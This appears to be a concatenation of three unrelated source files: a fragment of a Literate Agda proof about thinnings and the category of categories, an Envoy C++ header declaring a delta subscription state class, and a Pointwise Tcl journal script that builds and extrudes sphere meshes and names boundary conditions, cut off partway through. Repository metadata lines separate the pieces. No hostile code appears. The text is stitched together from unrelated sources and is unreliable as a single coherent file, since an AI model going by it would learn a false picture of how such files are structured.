infixr 25 _<?_
_<?_ : forall {ga de} -> ga <= de -> Env V de -> Env V ga
(th -^ x) <? (vz -, v) = th <? vz
(th -, x) <? (vz -, v) = th <? vz -, v
[] <? [] = []
\end{code}
%format io<? = io <?
We may readily show that the identity thinning is the complete selection.
\begin{code}
io<? : {-<-}forall {ga}{->-}(vz : Env V ga) -> io <? vz ~ vz
io<? [] = r~
io<? (vz -, v) rewrite io<? vz = r~
\end{code}
The composition law is best shown by induction on the graph.
%format co<? = "\F{\triangle}\!" <?
\begin{code}
co<? : {-<-} forall {ga de ze}{th : ga <= de}{ph : de <= ze}{ps : ga <= ze} -> {->-} (w : (CTri th ph ps))(vz : Env V _) -> ps <? vz ~ th <? ph <? vz
co<? (w -^ x) (vz -, v) rewrite co<? w vz = r~
co<? (w -^, x) (vz -, v) rewrite co<? w vz = r~
co<? (w -, x) (vz -, v) rewrite co<? w vz = r~
co<? [] [] = r~
\end{code}
%if False
\begin{code}
module _ (V : X -> Set) where
SELECT : OP (THIN X) -F> SET lzero
fst (nuf SELECT) = Env V
\end{code}
%endif
We can now complete the jigsaw.
\begin{code}
snd (nuf SELECT) = _<?_ , (\ { splateqr -> eq \ _ -> r~ })
, eq io<? , (\ ph th -> eq \ vz -> co<? (snd (th <-> ph)) vz)
\end{code}
Note, by the way, that a family of types induces a functor from a discrete
category.
%format FAM = "\F{FAM}"
\begin{code}
FAM : {-<-}forall {k l}{X : Set k} ->{->-} (X -> Set l) -> DISCRETE X -F> SET l
FAM T = FUN T >> FORGET (SET _)
\end{code}
To finish this section, let us construct the category of categories, with
functors for arrows. To start with, we should define the identity functor and
functor composition.
\begin{lemma}[Category of Categories]
Fix sizes for objects and arrows.
\begin{code}
module _ (k l : Level) where
\end{code}
%if False
\begin{code}
open Cat
\end{code}
%endif
There is a category whose objects are |Cat|egories and whose arrows are |Functor|s
%format CAT = "\F{CAT}"
\begin{code}
CAT : Cat (lsuc (k \-/ l)) (k \-/ l)
Obj CAT = Cat k l
Arr CAT C D = Functor C D \\ nuf {C = C}{D = D}
\end{code}
\end{lemma}
To prove this, we must complete the remaining fields.
\begin{enumerate}
\item identity and composition, as above
\begin{code}
id CAT = I
_-_ CAT = _>>_
\end{code}
\item extensionality witness
\begin{code}
qe (coex CAT {_}{_}{C} {F}{F'}{G}{G'}
(eq (r~ , qf , <>)) (eq (r~ , qg , <>)))
= r~
, (\ S T f -> qprf (Arr C (Map G (Map F S)) (Map G (Map F T))) (
map G (map F f) ~[ mapex G (eq (qf _ _ _)) >~
map G (map F' f) ~[ eq (qg _ _ _) >~
map G' (map F' f) ~[SQED]))
, <>
\end{code}
\item absorption and associativity -- these are trivial
\begin{code}
idco CAT {_}{C} _ = eq (r~ , (\ _ _ _ -> qprf (Arr C _ _) rS) , <>)
coid CAT {_}{C} _ = eq (r~ , (\ _ _ _ -> qprf (Arr C _ _) rS) , <>)
coco CAT {_}{_}{_}{C} _ _ _
= eq (r~ , (\ _ _ _ -> qprf (Arr C _ _) rS) , <>)
\end{code}
\end{enumerate}
| Literate Agda | 5 | gallais/EGTBS | extended/Functors.lagda | [
"BSD-3-Clause"
] |
#pragma once
#include "envoy/config/subscription.h"
#include "envoy/local_info/local_info.h"
#include "envoy/service/discovery/v3/discovery.pb.h"
#include "source/common/common/logger.h"
#include "source/common/config/new_delta_subscription_state.h"
#include "source/common/config/old_delta_subscription_state.h"
#include "absl/container/flat_hash_set.h"
#include "absl/types/variant.h"
namespace Envoy {
namespace Config {
using DeltaSubscriptionStateVariant =
absl::variant<OldDeltaSubscriptionState, NewDeltaSubscriptionState>;
class DeltaSubscriptionState : public Logger::Loggable<Logger::Id::config> {
public:
DeltaSubscriptionState(std::string type_url, UntypedConfigUpdateCallbacks& watch_map,
const LocalInfo::LocalInfo& local_info, Event::Dispatcher& dispatcher);
void updateSubscriptionInterest(const absl::flat_hash_set<std::string>& cur_added,
const absl::flat_hash_set<std::string>& cur_removed);
void setMustSendDiscoveryRequest();
bool subscriptionUpdatePending() const;
void markStreamFresh();
UpdateAck handleResponse(const envoy::service::discovery::v3::DeltaDiscoveryResponse& message);
void handleEstablishmentFailure();
envoy::service::discovery::v3::DeltaDiscoveryRequest getNextRequestAckless();
envoy::service::discovery::v3::DeltaDiscoveryRequest getNextRequestWithAck(const UpdateAck& ack);
DeltaSubscriptionState(const DeltaSubscriptionState&) = delete;
DeltaSubscriptionState& operator=(const DeltaSubscriptionState&) = delete;
private:
DeltaSubscriptionStateVariant state_;
};
} // namespace Config
} // namespace Envoy
| C | 4 | giantcroc/envoy | source/common/config/delta_subscription_state.h | [
"Apache-2.0"
] |
# Pointwise V18.4R2 Journal file - Wed Nov 10 13:20:06 2021
package require PWI_Glyph 4.18.4
pw::Application setUndoMaximumLevels 5
pw::Application reset
pw::Application markUndoLevel {Journal Reset}
pw::Application clearModified
pw::Application setCAESolver {EXODUS II} 3
pw::Application markUndoLevel {Select Solver}
pw::Application setCAESolver {EXODUS II} 3
pw::Application markUndoLevel {Set Dimension 3D}
# CONTROLS:
# number of points on cube edge
set nc 51
# initial step size for extrusion
set ds 0.005
# growth factor for extrusion
set gf 1.06
# number of extrusion steps
set nsteps 75
# maximum ds for extrusion
set max_ds 0.05
# background mesh spacing near sphere
set dx_background 0.08
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::GridShape create]
$_TMP(PW_1) delete
unset _TMP(PW_1)
set _TMP(PW_1) [pw::Shape create]
$_TMP(PW_1) sphere -radius 0.5 -baseAngle 0 -topAngle 180
$_TMP(PW_1) setTransform [list 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1]
$_TMP(PW_1) setPivot Center
$_TMP(PW_1) setSectionMinimum 0
$_TMP(PW_1) setSectionMaximum 360
$_TMP(PW_1) setSidesType Plane
$_TMP(PW_1) setBaseType Plane
$_TMP(PW_1) setTopType Plane
$_TMP(PW_1) setEnclosingEntities {}
set _TMP(PW_2) [$_TMP(PW_1) createModels]
set _DB(1) [pw::DatabaseEntity getByName model-1]
unset _TMP(PW_2)
pw::Entity delete $_TMP(PW_1)
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create Shape}
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::Shape create]
pw::Display resetView -Z
$_TMP(PW_1) sphere -radius 2 -baseAngle 0 -topAngle 180
$_TMP(PW_1) setTransform [list 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1]
$_TMP(PW_1) setPivot Center
$_TMP(PW_1) setSectionMinimum 0
$_TMP(PW_1) setSectionMaximum 360
$_TMP(PW_1) setSidesType Plane
$_TMP(PW_1) setBaseType Plane
$_TMP(PW_1) setTopType Plane
$_TMP(PW_1) setEnclosingEntities {}
set _TMP(PW_2) [$_TMP(PW_1) createModels]
set _DB(2) [pw::DatabaseEntity getByName model-2]
unset _TMP(PW_2)
pw::Entity delete $_TMP(PW_1)
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create Shape}
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::Shape create]
unset _TMP(PW_1)
$_TMP(mode_1) abort
unset _TMP(mode_1)
pw::Application undo
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::Shape create]
$_TMP(PW_1) sphere -radius 3 -baseAngle 0 -topAngle 180
$_TMP(PW_1) setTransform [list 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1]
$_TMP(PW_1) setPivot Center
$_TMP(PW_1) setSectionMinimum 0
$_TMP(PW_1) setSectionMaximum 360
$_TMP(PW_1) setSidesType Plane
$_TMP(PW_1) setBaseType Plane
$_TMP(PW_1) setTopType Plane
$_TMP(PW_1) setEnclosingEntities {}
set _TMP(PW_2) [$_TMP(PW_1) createModels]
set _DB(3) [pw::DatabaseEntity getByName model-2]
unset _TMP(PW_2)
pw::Entity delete $_TMP(PW_1)
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create Shape}
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::Shape create]
pw::Entity delete $_TMP(PW_1)
unset _TMP(PW_1)
set _TMP(PW_1) [pw::GridShape create]
$_TMP(PW_1) box -width 0.5 -height 0.5 -length 0.5
$_TMP(PW_1) setGridType Structured
$_TMP(PW_1) setTransform [list 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1]
$_TMP(PW_1) setPivot Base
$_TMP(PW_1) setSectionMinimum 0
$_TMP(PW_1) setSectionMaximum 360
$_TMP(PW_1) setSidesType Plane
$_TMP(PW_1) setBaseType Plane
$_TMP(PW_1) setTopType Plane
$_TMP(PW_1) setEnclosingEntities {}
$_TMP(PW_1) clearSizeFieldEntities
$_TMP(PW_1) updateGridEntities
set _CN(1) [pw::GridEntity getByName con-1]
set _CN(2) [pw::GridEntity getByName con-2]
set _CN(3) [pw::GridEntity getByName con-3]
set _CN(4) [pw::GridEntity getByName con-4]
set _CN(5) [pw::GridEntity getByName con-5]
set _CN(6) [pw::GridEntity getByName con-6]
set _CN(7) [pw::GridEntity getByName con-7]
set _CN(8) [pw::GridEntity getByName con-8]
set _CN(9) [pw::GridEntity getByName con-9]
set _CN(10) [pw::GridEntity getByName con-10]
set _CN(11) [pw::GridEntity getByName con-11]
set _CN(12) [pw::GridEntity getByName con-12]
set _DM(1) [pw::GridEntity getByName dom-1]
set _DM(2) [pw::GridEntity getByName dom-2]
set _DM(3) [pw::GridEntity getByName dom-3]
set _DM(4) [pw::GridEntity getByName dom-4]
set _DM(5) [pw::GridEntity getByName dom-5]
set _DM(6) [pw::GridEntity getByName dom-6]
set _BL(1) [pw::GridEntity getByName blk-1]
set _TMP(PW_2) [$_TMP(PW_1) getGridEntities]
unset _TMP(PW_2)
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create Shape}
set _TMP(PW_1) [pw::Collection create]
$_TMP(PW_1) set [list $_CN(7) $_CN(3) $_CN(4) $_CN(12) $_CN(11) $_CN(8) $_CN(9) $_CN(10) $_CN(2) $_CN(1) $_CN(6) $_CN(5)]
$_TMP(PW_1) do setDimension $nc
$_TMP(PW_1) delete
unset _TMP(PW_1)
pw::CutPlane refresh
pw::Application markUndoLevel Dimension
pw::Application setClipboard [list $_CN(7) $_CN(3) $_CN(4) $_CN(12) $_CN(11) $_CN(8) $_CN(9) $_CN(10) $_CN(2) $_CN(1) $_CN(6) $_CN(5) $_DM(1) $_DM(6) $_DM(3) $_DM(4) $_DM(5) $_DM(2)]
pw::Entity checkDelete -freed _TMP(freed) [list $_CN(7) $_CN(3) $_CN(4) $_CN(12) $_CN(11) $_CN(8) $_CN(9) $_CN(10) $_CN(2) $_CN(1) $_CN(6) $_CN(5) $_DM(1) $_DM(6) $_DM(3) $_DM(4) $_DM(5) $_DM(2)]
pw::Entity delete [concat $_TMP(freed) [list $_CN(7) $_CN(3) $_CN(4) $_CN(12) $_CN(11) $_CN(8) $_CN(9) $_CN(10) $_CN(2) $_CN(1) $_CN(6) $_CN(5) $_DM(1) $_DM(6) $_DM(3) $_DM(4) $_DM(5) $_DM(2)]]
pw::Application markUndoLevel Cut
unset _TMP(freed)
set _TMP(mode_1) [pw::Application begin Paste]
set _TMP(PW_1) [$_TMP(mode_1) getEntities]
set _TMP(mode_2) [pw::Application begin Modify $_TMP(PW_1)]
pw::Entity transform [pwu::Transform translation {0 0 -0.25}] [$_TMP(mode_2) getEntities]
$_TMP(mode_2) end
unset _TMP(mode_2)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel Paste
unset _TMP(PW_1)
set _DM(1) [pw::GridEntity getByName dom-2]
set _DM(2) [pw::GridEntity getByName dom-6]
set _DM(3) [pw::GridEntity getByName dom-3]
set _DM(4) [pw::GridEntity getByName dom-5]
set _DM(5) [pw::GridEntity getByName dom-4]
set _DM(6) [pw::GridEntity getByName dom-1]
set _DB(4) [pw::DatabaseEntity getByName quilt-1]
set _TMP(PW_1) [subst [list $_DM(1) $_DM(2) $_DM(3) $_DM(4) $_DM(5) $_DM(6)]]
set _TMP(mode_1) [pw::Application begin Modify $_TMP(PW_1)]
set _TMP(PW_2) [list $_DB(4)]
pw::Entity project -type ClosestPoint $_TMP(PW_1) $_TMP(PW_2)
unset _TMP(PW_2)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel Project
unset _TMP(PW_1)
set _TMP(mode_1) [pw::Application begin EllipticSolver [list $_DM(1) $_DM(2) $_DM(3) $_DM(4) $_DM(5) $_DM(6)]]
$_TMP(mode_1) setActiveSubGrids $_DM(1) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(2) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(3) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(4) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(5) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(6) [list]
$_TMP(mode_1) run -entities [list $_DM(6) $_DM(1) $_DM(3) $_DM(5) $_DM(4) $_DM(2)] Initialize
$_TMP(mode_1) setActiveSubGrids $_DM(1) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(2) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(3) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(4) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(5) [list]
$_TMP(mode_1) setActiveSubGrids $_DM(6) [list]
$_TMP(mode_1) run 40
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel Solve
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::FaceStructured createFromDomains [list $_DM(1) $_DM(2) $_DM(3) $_DM(4) $_DM(5) $_DM(6)]]
set _TMP(face_1) [lindex $_TMP(PW_1) 0]
set _TMP(face_2) [lindex $_TMP(PW_1) 1]
unset _TMP(PW_1)
set _BL(1) [pw::BlockStructured create]
$_BL(1) addFace $_TMP(face_1)
set _BL(2) [pw::BlockStructured create]
$_BL(2) addFace $_TMP(face_2)
$_TMP(mode_1) end
unset _TMP(mode_1)
set _TMP(mode_1) [pw::Application begin ExtrusionSolver [list $_BL(1) $_BL(2)]]
$_TMP(mode_1) setKeepFailingStep true
$_BL(1) setExtrusionSolverAttribute DirectionFlipped 1
$_BL(2) setExtrusionSolverAttribute DirectionFlipped 1
$_BL(1) setExtrusionSolverAttribute Mode NormalAlgebraic
$_BL(2) setExtrusionSolverAttribute Mode NormalAlgebraic
$_BL(1) setExtrusionSolverAttribute SpacingGrowthFactor $gf
$_BL(2) setExtrusionSolverAttribute SpacingGrowthFactor $gf
$_BL(1) setExtrusionSolverAttribute NormalInitialStepSize $ds
$_BL(2) setExtrusionSolverAttribute NormalInitialStepSize $ds
$_BL(1) setExtrusionSolverAttribute NormalMaximumStepSize $max_ds
$_BL(2) setExtrusionSolverAttribute NormalMaximumStepSize $max_ds
$_TMP(mode_1) run $nsteps
pw::Display resetView -Z
$_TMP(mode_1) run 1
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Extrude, Normal}
unset _TMP(face_2)
unset _TMP(face_1)
pw::Layer setDescription 0 sphere
pw::Layer setDescription 1 background
# # Split outer surface sphere domains:
# # Appended by Pointwise V18.4R2 - Thu Nov 11 08:39:48 2021
# set _DM(7) [pw::GridEntity getByName dom-15]
# set _DM(8) [pw::GridEntity getByName dom-7]
# set _DM(9) [pw::GridEntity getByName dom-11]
# set _DM(10) [pw::GridEntity getByName dom-14]
# set _DM(11) [pw::GridEntity getByName dom-12]
# set _CN(1) [pw::GridEntity getByName con-26]
# set _DM(12) [pw::GridEntity getByName dom-13]
# set _DM(13) [pw::GridEntity getByName dom-24]
# set _CN(2) [pw::GridEntity getByName con-27]
# set _CN(3) [pw::GridEntity getByName con-28]
# set _CN(4) [pw::GridEntity getByName con-24]
# set _CN(5) [pw::GridEntity getByName con-25]
# set _TMP(split_params) [list]
# lappend _TMP(split_params) [lindex [$_DM(7) closestCoordinate [$_CN(1) getPosition -arc 1]] 1]
# set _TMP(PW_1) [$_DM(7) split -J $_TMP(split_params)]
# unset _TMP(PW_1)
# unset _TMP(split_params)
# pw::Application markUndoLevel Split
# set _DM(14) [pw::GridEntity getByName dom-15-split-2]
# set _DM(15) [pw::GridEntity getByName dom-15-split-1]
# set _TMP(split_params) [list]
# lappend _TMP(split_params) [lindex [$_DM(14) closestCoordinate [$_CN(4) getPosition -arc 0]] 1]
# set _TMP(PW_1) [$_DM(14) split -J $_TMP(split_params)]
# unset _TMP(PW_1)
# unset _TMP(split_params)
# pw::Application markUndoLevel Split
# set _DM(16) [pw::GridEntity getByName dom-15-split-2-split-2]
# set _DM(17) [pw::GridEntity getByName dom-15-split-2-split-1]
# set _CN(6) [pw::GridEntity getByName con-13]
# set _CN(7) [pw::GridEntity getByName con-15]
# set _TMP(split_params) [list]
# lappend _TMP(split_params) [lindex [$_DM(13) closestCoordinate [$_CN(6) getPosition -arc 0]] 1]
# set _TMP(PW_1) [$_DM(13) split -J $_TMP(split_params)]
# unset _TMP(PW_1)
# unset _TMP(split_params)
# pw::Application markUndoLevel Split
# set _DM(18) [pw::GridEntity getByName dom-24-split-2]
# set _DM(19) [pw::GridEntity getByName dom-9]
# set _DM(20) [pw::GridEntity getByName dom-8]
# set _CN(8) [pw::GridEntity getByName con-14]
# set _CN(9) [pw::GridEntity getByName con-16]
# set _TMP(split_params) [list]
# lappend _TMP(split_params) [lindex [$_DM(18) closestCoordinate [$_CN(6) getPosition -arc 1]] 1]
# set _TMP(PW_1) [$_DM(18) split -J $_TMP(split_params)]
# unset _TMP(PW_1)
# unset _TMP(split_params)
# pw::Application markUndoLevel Split
pw::Display isolateLayer 1
pw::Display showLayer 0
# Add blocks around the sphere
# Appended by Pointwise V18.4R2 - Thu Nov 11 09:20:19 2021
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::Shape create]
pw::Entity delete $_TMP(PW_1)
unset _TMP(PW_1)
set _TMP(PW_1) [pw::GridShape create]
set _DM(7) [pw::GridEntity getByName dom-10]
set _DM(8) [pw::GridEntity getByName dom-8]
set _DM(9) [pw::GridEntity getByName dom-15]
set _DM(10) [pw::GridEntity getByName dom-24]
set _DM(11) [pw::GridEntity getByName dom-11]
set _DM(12) [pw::GridEntity getByName dom-7]
set _DM(13) [pw::GridEntity getByName dom-13]
set _DM(14) [pw::GridEntity getByName dom-9]
set _DM(15) [pw::GridEntity getByName dom-14]
set _DM(16) [pw::GridEntity getByName dom-12]
set _CN(1) [pw::GridEntity getByName con-14]
set _CN(2) [pw::GridEntity getByName con-13]
set _CN(3) [pw::GridEntity getByName con-16]
set _CN(4) [pw::GridEntity getByName con-15]
set _CN(5) [pw::GridEntity getByName con-17]
set _CN(6) [pw::GridEntity getByName con-18]
set _CN(7) [pw::GridEntity getByName con-19]
set _CN(8) [pw::GridEntity getByName con-21]
set _CN(9) [pw::GridEntity getByName con-20]
set _CN(10) [pw::GridEntity getByName con-22]
set _CN(11) [pw::GridEntity getByName con-25]
set _CN(12) [pw::GridEntity getByName con-26]
set _CN(13) [pw::GridEntity getByName con-28]
set _CN(14) [pw::GridEntity getByName con-27]
set _CN(15) [pw::GridEntity getByName con-24]
set _CN(16) [pw::GridEntity getByName con-23]
set _CN(17) [pw::GridEntity getByName con-5]
set _CN(18) [pw::GridEntity getByName con-6]
set _CN(19) [pw::GridEntity getByName con-1]
set _CN(20) [pw::GridEntity getByName con-2]
set _CN(21) [pw::GridEntity getByName con-10]
set _CN(22) [pw::GridEntity getByName con-9]
set _CN(23) [pw::GridEntity getByName con-8]
set _CN(24) [pw::GridEntity getByName con-11]
set _CN(25) [pw::GridEntity getByName con-12]
set _CN(26) [pw::GridEntity getByName con-4]
set _CN(27) [pw::GridEntity getByName con-3]
set _CN(28) [pw::GridEntity getByName con-7]
set _DB(5) [pw::DatabaseEntity getByName quilt-2]
pw::Display resetView -Z
pw::Display resetView +X
pw::Display resetView -Z
$_TMP(PW_1) box -width 9.22142948402 -height 9.22142948402 -length 9.22142948351
$_TMP(PW_1) setGridType Structured
$_TMP(PW_1) setTransform [list 1 -0 0 0 0 1 0 0 -0 0 1 0 -1.93178806285e-14 -2.22044604925e-16 -4.61071474175 1]
$_TMP(PW_1) setPivot Base
$_TMP(PW_1) setSectionMinimum 0
$_TMP(PW_1) setSectionMaximum 360
$_TMP(PW_1) setSidesType Plane
$_TMP(PW_1) setBaseType Plane
$_TMP(PW_1) setTopType Plane
$_TMP(PW_1) setEnclosingEntities [list $_BL(2) $_BL(1) $_DM(7) $_DM(8) $_DM(9) $_DM(10) $_DM(11) $_DM(12) $_DM(13) $_DM(14) $_DM(15) $_DM(16) $_DM(6) $_DM(1) $_DM(2) $_DM(5) $_DM(3) $_DM(4) $_DB(2) $_DB(1) $_CN(1) $_CN(2) $_CN(3) $_CN(4) $_CN(5) $_CN(6) $_CN(7) $_CN(8) $_CN(9) $_CN(10) $_CN(11) $_CN(12) $_CN(13) $_CN(14) $_CN(15) $_CN(16) $_CN(17) $_CN(18) $_CN(19) $_CN(20) $_CN(21) $_CN(22) $_CN(23) $_CN(24) $_CN(25) $_CN(26) $_CN(27) $_CN(28) $_DB(5) $_DB(4)]
$_TMP(PW_1) clearSizeFieldEntities
$_TMP(PW_1) includeSizeFieldEntity [list $_BL(2) $_BL(1) $_DM(7) $_DM(8) $_DM(9) $_DM(10) $_DM(11) $_DM(12) $_DM(13) $_DM(14) $_DM(15) $_DM(16) $_DM(6) $_DM(1) $_DM(2) $_DM(5) $_DM(3) $_DM(4) $_DB(2) $_DB(1) $_CN(1) $_CN(2) $_CN(3) $_CN(4) $_CN(5) $_CN(6) $_CN(7) $_CN(8) $_CN(9) $_CN(10) $_CN(11) $_CN(12) $_CN(13) $_CN(14) $_CN(15) $_CN(16) $_CN(17) $_CN(18) $_CN(19) $_CN(20) $_CN(21) $_CN(22) $_CN(23) $_CN(24) $_CN(25) $_CN(26) $_CN(27) $_CN(28) $_DB(5) $_DB(4)] true
$_TMP(PW_1) updateGridEntities
set _CN(29) [pw::GridEntity getByName con-29]
set _CN(30) [pw::GridEntity getByName con-30]
set _CN(31) [pw::GridEntity getByName con-31]
set _CN(32) [pw::GridEntity getByName con-32]
set _CN(33) [pw::GridEntity getByName con-33]
set _CN(34) [pw::GridEntity getByName con-34]
set _CN(35) [pw::GridEntity getByName con-35]
set _CN(36) [pw::GridEntity getByName con-36]
set _CN(37) [pw::GridEntity getByName con-37]
set _CN(38) [pw::GridEntity getByName con-38]
set _CN(39) [pw::GridEntity getByName con-39]
set _CN(40) [pw::GridEntity getByName con-40]
set _DM(17) [pw::GridEntity getByName dom-25]
set _DM(18) [pw::GridEntity getByName dom-26]
set _DM(19) [pw::GridEntity getByName dom-27]
set _DM(20) [pw::GridEntity getByName dom-28]
set _DM(21) [pw::GridEntity getByName dom-29]
set _DM(22) [pw::GridEntity getByName dom-30]
set _BL(1) [pw::GridEntity getByName blk-3]
set _TMP(PW_2) [$_TMP(PW_1) getGridEntities]
unset _TMP(PW_2)
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create Shape}
pw::Display hideLayer 0
set _TMP(PW_1) [pw::Collection create]
$_TMP(PW_1) set [list $_CN(33) $_CN(34) $_CN(35) $_CN(38) $_CN(30) $_CN(31) $_CN(32) $_CN(29) $_CN(39) $_CN(37) $_CN(36) $_CN(40)]
$_TMP(PW_1) do setDimensionFromSpacing -resetDistribution $dx_background
$_TMP(PW_1) delete
unset _TMP(PW_1)
pw::CutPlane refresh
pw::Application markUndoLevel Dimension
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::SegmentSpline create]
$_TMP(PW_1) addPoint [$_CN(29) getPosition -arc 1]
$_TMP(PW_1) addPoint {16 4.6107147 -4.6107147}
set _CN(41) [pw::Connector create]
$_CN(41) addSegment $_TMP(PW_1)
unset _TMP(PW_1)
$_CN(41) calculateDimension
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Create 2 Point Connector}
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::SegmentSpline create]
$_TMP(PW_1) delete
unset _TMP(PW_1)
$_TMP(mode_1) abort
unset _TMP(mode_1)
$_CN(41) setDimension 50
pw::CutPlane refresh
pw::Application markUndoLevel Dimension
set _TMP(PW_1) [pw::Collection create]
$_TMP(PW_1) set [list $_CN(41)]
$_TMP(PW_1) do setRenderAttribute PointMode None
$_TMP(PW_1) delete
unset _TMP(PW_1)
pw::Application markUndoLevel {Modify Entity Display}
set _TMP(PW_1) [pw::Collection create]
$_TMP(PW_1) set [list $_CN(41)]
$_TMP(PW_1) do setRenderAttribute PointMode All
$_TMP(PW_1) delete
unset _TMP(PW_1)
pw::Application markUndoLevel {Modify Entity Display}
set _TMP(mode_1) [pw::Application begin Modify [list $_CN(41)]]
set _TMP(PW_1) [$_CN(41) getDistribution 1]
$_TMP(PW_1) setBeginSpacing $dx_background
unset _TMP(PW_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
pw::Application markUndoLevel {Change Spacing}
set _TMP(mode_1) [pw::Application begin Create]
set _TMP(PW_1) [pw::FaceStructured createFromDomains [list $_DM(19)]]
set _TMP(face_1) [lindex $_TMP(PW_1) 0]
unset _TMP(PW_1)
set _BL(2) [pw::BlockStructured create]
$_BL(2) addFace $_TMP(face_1)
$_TMP(mode_1) end
unset _TMP(mode_1)
set _TMP(mode_1) [pw::Application begin ExtrusionSolver [list $_BL(2)]]
$_TMP(mode_1) setKeepFailingStep true
$_BL(2) setExtrusionSolverAttribute Mode Path
$_BL(2) setExtrusionSolverAttribute PathConnectors [list $_CN(41)]
$_BL(2) setExtrusionSolverAttribute PathUseTangent 1
$_TMP(mode_1) run 49
$_TMP(mode_1) end
unset _TMP(mode_1)
unset _TMP(face_1)
pw::Application markUndoLevel {Extrude, Path}
# Create BC and volumes
# Appended by Pointwise V18.4R2 - Mon Nov 15 08:18:33 2021
pw::Display showLayer 0
set _TMP(PW_1) [pw::VolumeCondition create]
pw::Application markUndoLevel {Create VC}
set _TMP(PW_2) [pw::VolumeCondition create]
pw::Application markUndoLevel {Create VC}
$_TMP(PW_1) setName background
pw::Application markUndoLevel {Name VC}
$_TMP(PW_2) setName sphere
pw::Application markUndoLevel {Name VC}
$_TMP(PW_1) apply [list $_BL(2) $_BL(1)]
pw::Application markUndoLevel {Set VC}
set _BL(1) [pw::GridEntity getByName blk-1]
$_TMP(PW_2) apply [list $_BL(1)]
pw::Application markUndoLevel {Set VC}
set _BL(2) [pw::GridEntity getByName blk-2]
$_TMP(PW_2) apply [list $_BL(2) $_BL(1)]
pw::Application markUndoLevel {Set VC}
unset _TMP(PW_2)
unset _TMP(PW_1)
set _DM(23) [pw::GridEntity getByName dom-31]
set _DM(24) [pw::GridEntity getByName dom-32]
set _DM(25) [pw::GridEntity getByName dom-33]
set _DM(26) [pw::GridEntity getByName dom-34]
set _DM(27) [pw::GridEntity getByName dom-35]
set _TMP(PW_1) [pw::BoundaryCondition getByName Unspecified]
set _TMP(PW_2) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_3) [pw::BoundaryCondition getByName bc-2]
unset _TMP(PW_2)
set _TMP(PW_4) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_5) [pw::BoundaryCondition getByName bc-3]
unset _TMP(PW_4)
set _TMP(PW_6) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_7) [pw::BoundaryCondition getByName bc-4]
unset _TMP(PW_6)
set _TMP(PW_8) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_9) [pw::BoundaryCondition getByName bc-5]
unset _TMP(PW_8)
set _TMP(PW_10) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_11) [pw::BoundaryCondition getByName bc-6]
unset _TMP(PW_10)
set _TMP(PW_12) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_13) [pw::BoundaryCondition getByName bc-7]
unset _TMP(PW_12)
set _TMP(PW_14) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_15) [pw::BoundaryCondition getByName bc-8]
unset _TMP(PW_14)
$_TMP(PW_3) setName wall
pw::Application markUndoLevel {Name BC}
$_TMP(PW_5) setName overset
pw::Application markUndoLevel {Name BC}
$_TMP(PW_7) setName inlet
pw::Application markUndoLevel {Name BC}
$_TMP(PW_9) setName outlet
pw::Application markUndoLevel {Name BC}
$_TMP(PW_11) setName front
pw::Application markUndoLevel {Name BC}
$_TMP(PW_13) setName back
pw::Application markUndoLevel {Name BC}
$_TMP(PW_15) setName top
pw::Application markUndoLevel {Name BC}
set _TMP(PW_16) [pw::BoundaryCondition create]
pw::Application markUndoLevel {Create BC}
set _TMP(PW_17) [pw::BoundaryCondition getByName bc-9]
unset _TMP(PW_16)
$_TMP(PW_17) setName bottom
pw::Application markUndoLevel {Name BC}
$_TMP(PW_3) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_5) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_7) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_9) setPhysicalType -usage CAE {Side Set}
pw::Application markUndoLevel {Change BC Type}
$_TMP(PW_11) setPhysicalType -usage CAE {Node Set}
